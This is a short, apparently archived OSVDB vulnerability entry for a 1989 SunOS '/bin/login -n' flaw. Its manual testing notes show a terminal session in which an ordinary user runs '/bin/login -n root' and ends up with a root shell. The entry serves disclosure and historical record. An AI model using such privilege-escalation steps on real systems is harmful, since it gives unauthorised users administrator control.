SunOS /bin/login -n Local Root Privilege Escalation

1989-04-12T00:00:00
ID OSVDB:8748
Type osvdb
Reporter OSVDB
Modified 1989-04-12T00:00:00

Description

Manual Testing Notes

host $ whoami oconnor host $ /bin/login -n root Login incorrect login: onceuponatime No home directory specified in password file! Logging in with home=/

whoami

root

References:

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